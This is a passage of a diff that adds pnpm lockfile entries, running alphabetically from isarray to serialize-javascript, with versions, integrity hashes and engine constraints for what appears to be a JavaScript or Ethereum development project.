+    resolution: {integrity: sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==}
+    engines: {node: '>=10'}
+
+  isarray@1.0.0:
+    resolution: {integrity: sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==}
+
+  isexe@2.0.0:
+    resolution: {integrity: sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==}
+
+  js-sha3@0.8.0:
+    resolution: {integrity: sha512-gF1cRrHhIzNfToc802P800N8PpXS+evLLXfsVpowqmAFR9uwbi89WvXg2QspOmXL8QL86J4T1EpFu+yUkwJY3Q==}
+
+  js-yaml@3.14.1:
+    resolution: {integrity: sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==}
+    hasBin: true
+
+  js-yaml@4.1.0:
+    resolution: {integrity: sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==}
+    hasBin: true
+
+  json-schema-traverse@1.0.0:
+    resolution: {integrity: sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==}
+
+  json-stringify-safe@5.0.1:
+    resolution: {integrity: sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==}
+
+  jsonfile@2.4.0:
+    resolution: {integrity: sha512-PKllAqbgLgxHaj8TElYymKCAgrASebJrWpTnEkOaTowt23VKXXN0sUeriJ+eh7y6ufb/CC5ap11pz71/cM0hUw==}
+
+  jsonfile@4.0.0:
+    resolution: {integrity: sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==}
+
+  jsonfile@6.1.0:
+    resolution: {integrity: sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==}
+
+  jsonschema@1.4.1:
+    resolution: {integrity: sha512-S6cATIPVv1z0IlxdN+zUk5EPjkGCdnhN4wVSBlvoUO1tOLJootbo9CquNJmbIh4yikWHiUedhRYrNPn1arpEmQ==}
+
+  keccak@3.0.4:
+    resolution: {integrity: sha512-3vKuW0jV8J3XNTzvfyicFR5qvxrSAGl7KIhvgOu5cmWwM7tZRj3fMbj/pfIf4be7aznbc+prBWGjywox/g2Y6Q==}
+    engines: {node: '>=10.0.0'}
+
+  kind-of@6.0.3:
+    resolution: {integrity: sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==}
+    engines: {node: '>=0.10.0'}
+
+  klaw@1.3.1:
+    resolution: {integrity: sha512-TED5xi9gGQjGpNnvRWknrwAB1eL5GciPfVFOt3Vk1OJCVDQbzuSfrF3hkUQKlsgKrG1F+0t5W0m+Fje1jIt8rw==}
+
+  kleur@3.0.3:
+    resolution: {integrity: sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==}
+    engines: {node: '>=6'}
+
+  levn@0.3.0:
+    resolution: {integrity: sha512-0OO4y2iOHix2W6ujICbKIaEQXvFQHue65vUG3pb5EUomzPI90z9hsA1VsO/dbIIpC53J8gxM9Q4Oho0jrCM/yA==}
+    engines: {node: '>= 0.8.0'}
+
+  locate-path@2.0.0:
+    resolution: {integrity: sha512-NCI2kiDkyR7VeEKm27Kda/iQHyKJe1Bu0FlTbYp3CqJu+9IFe9bLyAjMxf5ZDDbEg+iMPzB5zYyUTSm8wVTKmA==}
+    engines: {node: '>=4'}
+
+  locate-path@6.0.0:
+    resolution: {integrity: sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==}
+    engines: {node: '>=10'}
+
+  lodash.camelcase@4.3.0:
+    resolution: {integrity: sha512-TwuEnCnxbc3rAvhf/LbG7tJUDzhqXyFnv3dtzLOPgCG/hODL7WFnsbwktkD7yUV0RrreP/l1PALq/YSg6VvjlA==}
+
+  lodash.clonedeep@4.5.0:
+    resolution: {integrity: sha512-H5ZhCF25riFd9uB5UCkVKo61m3S/xZk1x4wA6yp/L3RFP6Z/eHH1ymQcGLo7J3GMPfm0V/7m1tryHuGVxpqEBQ==}
+
+  lodash.isequal@4.5.0:
+    resolution: {integrity: sha512-pDo3lu8Jhfjqls6GkMgpahsF9kCyayhgykjyLMNFTKWrpVdAQtYyB4muAMWozBB4ig/dtWAmsMxLEI8wuz+DYQ==}
+
+  lodash.truncate@4.4.2:
+    resolution: {integrity: sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==}
+
+  lodash@4.17.21:
+    resolution: {integrity: sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==}
+
+  log-symbols@4.1.0:
+    resolution: {integrity: sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==}
+    engines: {node: '>=10'}
+
+  loupe@2.3.7:
+    resolution: {integrity: sha512-zSMINGVYkdpYSOBmLi0D1Uo7JU9nVdQKrHxC8eYlV+9YKK9WePqAlL7lSlorG/U2Fw1w0hTBmaa/jrQ3UbPHtA==}
+
+  lru-cache@6.0.0:
+    resolution: {integrity: sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==}
+    engines: {node: '>=10'}
+
+  lru_map@0.3.3:
+    resolution: {integrity: sha512-Pn9cox5CsMYngeDbmChANltQl+5pi6XmTrraMSzhPmMBbmgcxmqWry0U3PGapCU1yB4/LqCcom7qhHZiF/jGfQ==}
+
+  make-error@1.3.6:
+    resolution: {integrity: sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==}
+
+  markdown-table@1.1.3:
+    resolution: {integrity: sha512-1RUZVgQlpJSPWYbFSpmudq5nHY1doEIv89gBtF0s4gW1GF2XorxcA/70M5vq7rLv0a6mhOUccRsqkwhwLCIQ2Q==}
+
+  md5.js@1.3.5:
+    resolution: {integrity: sha512-xitP+WxNPcTTOgnTJcrhM0xvdPepipPSf3I8EIpGKeFLjt3PlJLIDG3u8EX53ZIubkb+5U2+3rELYpEhHhzdkg==}
+
+  memorystream@0.3.1:
+    resolution: {integrity: sha512-S3UwM3yj5mtUSEfP41UZmt/0SCoVYUcU1rkXv+BQ5Ig8ndL4sPoJNBUJERafdPb5jjHJGuMgytgKvKIf58XNBw==}
+    engines: {node: '>= 0.10.0'}
+
+  merge2@1.4.1:
+    resolution: {integrity: sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==}
+    engines: {node: '>= 8'}
+
+  micro-ftch@0.3.1:
+    resolution: {integrity: sha512-/0LLxhzP0tfiR5hcQebtudP56gUurs2CLkGarnCiB/OqEyUFQ6U3paQi/tgLv0hBJYt2rnr9MNpxz4fiiugstg==}
+
+  micromatch@4.0.8:
+    resolution: {integrity: sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==}
+    engines: {node: '>=8.6'}
+
+  mime-db@1.52.0:
+    resolution: {integrity: sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==}
+    engines: {node: '>= 0.6'}
+
+  mime-types@2.1.35:
+    resolution: {integrity: sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==}
+    engines: {node: '>= 0.6'}
+
+  minimalistic-assert@1.0.1:
+    resolution: {integrity: sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A==}
+
+  minimalistic-crypto-utils@1.0.1:
+    resolution: {integrity: sha512-JIYlbt6g8i5jKfJ3xz7rF0LXmv2TkDxBLUkiBeZ7bAx4GnnNMr8xFpGnOxn6GhTEHx3SjRrZEoU+j04prX1ktg==}
+
+  minimatch@3.1.2:
+    resolution: {integrity: sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==}
+
+  minimatch@5.0.1:
+    resolution: {integrity: sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g==}
+    engines: {node: '>=10'}
+
+  minimist@1.2.8:
+    resolution: {integrity: sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==}
+
+  mkdirp@0.5.6:
+    resolution: {integrity: sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==}
+    hasBin: true
+
+  mkdirp@1.0.4:
+    resolution: {integrity: sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==}
+    engines: {node: '>=10'}
+    hasBin: true
+
+  mnemonist@0.38.5:
+    resolution: {integrity: sha512-bZTFT5rrPKtPJxj8KSV0WkPyNxl72vQepqqVUAW2ARUpUSF2qXMB6jZj7hW5/k7C1rtpzqbD/IIbJwLXUjCHeg==}
+
+  mocha@10.4.0:
+    resolution: {integrity: sha512-eqhGB8JKapEYcC4ytX/xrzKforgEc3j1pGlAXVy3eRwrtAy5/nIfT1SvgGzfN0XZZxeLq0aQWkOUAmqIJiv+bA==}
+    engines: {node: '>= 14.0.0'}
+    hasBin: true
+
+  ms@2.1.2:
+    resolution: {integrity: sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==}
+
+  ms@2.1.3:
+    resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==}
+
+  ndjson@2.0.0:
+    resolution: {integrity: sha512-nGl7LRGrzugTtaFcJMhLbpzJM6XdivmbkdlaGcrk/LXg2KL/YBC6z1g70xh0/al+oFuVFP8N8kiWRucmeEH/qQ==}
+    engines: {node: '>=10'}
+    hasBin: true
+
+  neo-async@2.6.2:
+    resolution: {integrity: sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==}
+
+  node-addon-api@2.0.2:
+    resolution: {integrity: sha512-Ntyt4AIXyaLIuMHF6IOoTakB3K+RWxwtsHNRxllEoA6vPwP9o4866g6YWDLUdnucilZhmkxiHwHr11gAENw+QA==}
+
+  node-emoji@1.11.0:
+    resolution: {integrity: sha512-wo2DpQkQp7Sjm2A0cq+sN7EHKO6Sl0ctXeBdFZrL9T9+UywORbufTcTZxom8YqpLQt/FqNMUkOpkZrJVYSKD3A==}
+
+  node-gyp-build@4.8.0:
+    resolution: {integrity: sha512-u6fs2AEUljNho3EYTJNBfImO5QTo/J/1Etd+NVdCj7qWKUSN/bSLkZwhDv7I+w/MSC6qJ4cknepkAYykDdK8og==}
+    hasBin: true
+
+  nofilter@3.1.0:
+    resolution: {integrity: sha512-l2NNj07e9afPnhAhvgVrCD/oy2Ai1yfLpuo3EpiO1jFTsB4sFz6oIfAfSZyQzVpkZQ9xS8ZS5g1jCBgq4Hwo0g==}
+    engines: {node: '>=12.19'}
+
+  nopt@3.0.6:
+    resolution: {integrity: sha512-4GUt3kSEYmk4ITxzB/b9vaIDfUVWN/Ml1Fwl11IlnIG2iaJ9O6WXZ9SrYM9NLI8OCBieN2Y8SWC2oJV0RQ7qYg==}
+    hasBin: true
+
+  normalize-path@3.0.0:
+    resolution: {integrity: sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==}
+    engines: {node: '>=0.10.0'}
+
+  number-to-bn@1.7.0:
+    resolution: {integrity: sha512-wsJ9gfSz1/s4ZsJN01lyonwuxA1tml6X1yBDnfpMglypcBRFZZkus26EdPSlqS5GJfYddVZa22p3VNb3z5m5Ig==}
+    engines: {node: '>=6.5.0', npm: '>=3'}
+
+  object-assign@4.1.1:
+    resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==}
+    engines: {node: '>=0.10.0'}
+
+  object-inspect@1.13.1:
+    resolution: {integrity: sha512-5qoj1RUiKOMsCCNLV1CBiPYE10sziTsnmNxkAI/rZhiD63CF7IqdFGC/XzjWjpSgLf0LxXX3bDFIh0E18f6UhQ==}
+
+  obliterator@2.0.4:
+    resolution: {integrity: sha512-lgHwxlxV1qIg1Eap7LgIeoBWIMFibOjbrYPIPJZcI1mmGAI2m3lNYpK12Y+GBdPQ0U1hRwSord7GIaawz962qQ==}
+
+  once@1.4.0:
+    resolution: {integrity: sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==}
+
+  optionator@0.8.3:
+    resolution: {integrity: sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==}
+    engines: {node: '>= 0.8.0'}
+
+  ordinal@1.0.3:
+    resolution: {integrity: sha512-cMddMgb2QElm8G7vdaa02jhUNbTSrhsgAGUz1OokD83uJTwSUn+nKoNoKVVaRa08yF6sgfO7Maou1+bgLd9rdQ==}
+
+  os-tmpdir@1.0.2:
+    resolution: {integrity: sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==}
+    engines: {node: '>=0.10.0'}
+
+  p-limit@1.3.0:
+    resolution: {integrity: sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==}
+    engines: {node: '>=4'}
+
+  p-limit@3.1.0:
+    resolution: {integrity: sha512-TYOanM3wGwNGsZN2cVTYPArw454xnXj5qmWF1bEoAc4+cU/ol7GVh7odevjp1FNHduHc3KZMcFduxU5Xc6uJRQ==}
+    engines: {node: '>=10'}
+
+  p-locate@2.0.0:
+    resolution: {integrity: sha512-nQja7m7gSKuewoVRen45CtVfODR3crN3goVQ0DDZ9N3yHxgpkuBhZqsaiotSQRrADUrne346peY7kT3TSACykg==}
+    engines: {node: '>=4'}
+
+  p-locate@5.0.0:
+    resolution: {integrity: sha512-LaNjtRWUBY++zB5nE/NwcaoMylSPk+S+ZHNB1TzdbMJMny6dynpAGt7X/tl/QYq3TIeE6nxHppbo2LGymrG5Pw==}
+    engines: {node: '>=10'}
+
+  p-map@4.0.0:
+    resolution: {integrity: sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==}
+    engines: {node: '>=10'}
+
+  p-try@1.0.0:
+    resolution: {integrity: sha512-U1etNYuMJoIz3ZXSrrySFjsXQTWOx2/jdi86L+2pRvph/qMKL6sbcCYdH23fqsbm8TH2Gn0OybpT4eSFlCVHww==}
+    engines: {node: '>=4'}
+
+  parse-cache-control@1.0.1:
+    resolution: {integrity: sha512-60zvsJReQPX5/QP0Kzfd/VrpjScIQ7SHBW6bFCYfEP+fp0Eppr1SHhIO5nd1PjZtvclzSzES9D/p5nFJurwfWg==}
+
+  path-exists@3.0.0:
+    resolution: {integrity: sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==}
+    engines: {node: '>=4'}
+
+  path-exists@4.0.0:
+    resolution: {integrity: sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==}
+    engines: {node: '>=8'}
+
+  path-is-absolute@1.0.1:
+    resolution: {integrity: sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==}
+    engines: {node: '>=0.10.0'}
+
+  path-parse@1.0.7:
+    resolution: {integrity: sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==}
+
+  path-type@4.0.0:
+    resolution: {integrity: sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==}
+    engines: {node: '>=8'}
+
+  pathval@1.1.1:
+    resolution: {integrity: sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==}
+
+  pbkdf2@3.1.2:
+    resolution: {integrity: sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==}
+    engines: {node: '>=0.12'}
+
+  picomatch@2.3.1:
+    resolution: {integrity: sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==}
+    engines: {node: '>=8.6'}
+
+  pify@4.0.1:
+    resolution: {integrity: sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==}
+    engines: {node: '>=6'}
+
+  prelude-ls@1.1.2:
+    resolution: {integrity: sha512-ESF23V4SKG6lVSGZgYNpbsiaAkdab6ZgOxe52p7+Kid3W3u3bxR4Vfd/o21dmN7jSt0IwgZ4v5MUd26FEtXE9w==}
+    engines: {node: '>= 0.8.0'}
+
+  prettier@2.8.8:
+    resolution: {integrity: sha512-tdN8qQGvNjw4CHbY+XXk0JgCXn9QiF21a55rBe5LJAU+kDyC4WQn4+awm2Xfk2lQMk5fKup9XgzTZtGkjBdP9Q==}
+    engines: {node: '>=10.13.0'}
+    hasBin: true
+
+  process-nextick-args@2.0.1:
+    resolution: {integrity: sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==}
+
+  promise@8.3.0:
+    resolution: {integrity: sha512-rZPNPKTOYVNEEKFaq1HqTgOwZD+4/YHS5ukLzQCypkj+OkYx7iv0mA91lJlpPPZ8vMau3IIGj5Qlwrx+8iiSmg==}
+
+  prompts@2.4.2:
+    resolution: {integrity: sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==}
+    engines: {node: '>= 6'}
+
+  proxy-from-env@1.1.0:
+    resolution: {integrity: sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==}
+
+  punycode@2.3.1:
+    resolution: {integrity: sha512-vYt7UD1U9Wg6138shLtLOvdAu+8DsC/ilFtEVHcH+wydcSpNE20AfSOduf6MkRFahL5FY7X1oU7nKVZFtfq8Fg==}
+    engines: {node: '>=6'}
+
+  qs@6.12.1:
+    resolution: {integrity: sha512-zWmv4RSuB9r2mYQw3zxQuHWeU+42aKi1wWig/j4ele4ygELZ7PEO6MM7rim9oAQH2A5MWfsAVf/jPvTPgCbvUQ==}
+    engines: {node: '>=0.6'}
+
+  queue-microtask@1.2.3:
+    resolution: {integrity: sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==}
+
+  randombytes@2.1.0:
+    resolution: {integrity: sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==}
+
+  raw-body@2.5.2:
+    resolution: {integrity: sha512-8zGqypfENjCIqGhgXToC8aB2r7YrBX+AQAfIPs/Mlk+BtPTztOvTS01NRW/3Eh60J+a48lt8qsCzirQ6loCVfA==}
+    engines: {node: '>= 0.8'}
+
+  readable-stream@2.3.8:
+    resolution: {integrity: sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==}
+
+  readable-stream@3.6.2:
+    resolution: {integrity: sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==}
+    engines: {node: '>= 6'}
+
+  readdirp@3.6.0:
+    resolution: {integrity: sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==}
+    engines: {node: '>=8.10.0'}
+
+  rechoir@0.6.2:
+    resolution: {integrity: sha512-HFM8rkZ+i3zrV+4LQjwQ0W+ez98pApMGM3HUrN04j3CqzPOzl9nmP15Y8YXNm8QHGv/eacOVEjqhmWpkRV0NAw==}
+    engines: {node: '>= 0.10'}
+
+  recursive-readdir@2.2.3:
+    resolution: {integrity: sha512-8HrF5ZsXk5FAH9dgsx3BlUer73nIhuj+9OrQwEbLTPOBzGkL1lsFCR01am+v+0m2Cmbs1nP12hLDl5FA7EszKA==}
+    engines: {node: '>=6.0.0'}
+
+  reduce-flatten@2.0.0:
+    resolution: {integrity: sha512-EJ4UNY/U1t2P/2k6oqotuX2Cc3T6nxJwsM0N0asT7dhrtH1ltUxDn4NalSYmPE2rCkVpcf/X6R0wDwcFpzhd4w==}
+    engines: {node: '>=6'}
+
+  req-cwd@2.0.0:
+    resolution: {integrity: sha512-ueoIoLo1OfB6b05COxAA9UpeoscNpYyM+BqYlA7H6LVF4hKGPXQQSSaD2YmvDVJMkk4UDpAHIeU1zG53IqjvlQ==}
+    engines: {node: '>=4'}
+
+  req-from@2.0.0:
+    resolution: {integrity: sha512-LzTfEVDVQHBRfjOUMgNBA+V6DWsSnoeKzf42J7l0xa/B4jyPOuuF5MlNSmomLNGemWTnV2TIdjSSLnEn95fOQA==}
+    engines: {node: '>=4'}
+
+  require-directory@2.1.1:
+    resolution: {integrity: sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==}
+    engines: {node: '>=0.10.0'}
+
+  require-from-string@2.0.2:
+    resolution: {integrity: sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==}
+    engines: {node: '>=0.10.0'}
+
+  resolve-from@3.0.0:
+    resolution: {integrity: sha512-GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw==}
+    engines: {node: '>=4'}
+
+  resolve@1.1.7:
+    resolution: {integrity: sha512-9znBF0vBcaSN3W2j7wKvdERPwqTxSpCq+if5C0WoTCyV9n24rua28jeuQ2pL/HOf+yUe/Mef+H/5p60K0Id3bg==}
+
+  resolve@1.17.0:
+    resolution: {integrity: sha512-ic+7JYiV8Vi2yzQGFWOkiZD5Z9z7O2Zhm9XMaTxdJExKasieFCr+yXZ/WmXsckHiKl12ar0y6XiXDx3m4RHn1w==}
+
+  reusify@1.0.4:
+    resolution: {integrity: sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==}
+    engines: {iojs: '>=1.0.0', node: '>=0.10.0'}
+
+  rimraf@2.7.1:
+    resolution: {integrity: sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==}
+    deprecated: Rimraf versions prior to v4 are no longer supported
+    hasBin: true
+
+  ripemd160@2.0.2:
+    resolution: {integrity: sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==}
+
+  rlp@2.2.7:
+    resolution: {integrity: sha512-d5gdPmgQ0Z+AklL2NVXr/IoSjNZFfTVvQWzL/AM2AOcSzYP2xjlb0AC8YyCLc41MSNf6P6QVtjgPdmVtzb+4lQ==}
+    hasBin: true
+
+  run-parallel@1.2.0:
+    resolution: {integrity: sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==}
+
+  safe-buffer@5.1.2:
+    resolution: {integrity: sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==}
+
+  safe-buffer@5.2.1:
+    resolution: {integrity: sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==}
+
+  safer-buffer@2.1.2:
+    resolution: {integrity: sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==}
+
+  sc-istanbul@0.4.6:
+    resolution: {integrity: sha512-qJFF/8tW/zJsbyfh/iT/ZM5QNHE3CXxtLJbZsL+CzdJLBsPD7SedJZoUA4d8iAcN2IoMp/Dx80shOOd2x96X/g==}
+    hasBin: true
+
+  scrypt-js@3.0.1:
+    resolution: {integrity: sha512-cdwTTnqPu0Hyvf5in5asVdZocVDTNRmR7XEcJuIzMjJeSHybHl7vpB66AzwTaIg6CLSbtjcxc8fqcySfnTkccA==}
+
+  secp256k1@4.0.3:
+    resolution: {integrity: sha512-NLZVf+ROMxwtEj3Xa562qgv2BK5e2WNmXPiOdVIPLgs6lyTzMvBq0aWTYMI5XCP9jZMVKOcqZLw/Wc4vDkuxhA==}
+    engines: {node: '>=10.0.0'}
+
+  semver@5.7.2:
+    resolution: {integrity: sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==}
+    hasBin: true
+
+  semver@6.3.1:
+    resolution: {integrity: sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA==}
+    hasBin: true
+
+  semver@7.6.0:
+    resolution: {integrity: sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==}
+    engines: {node: '>=10'}
+    hasBin: true
+
+  serialize-javascript@6.0.0:
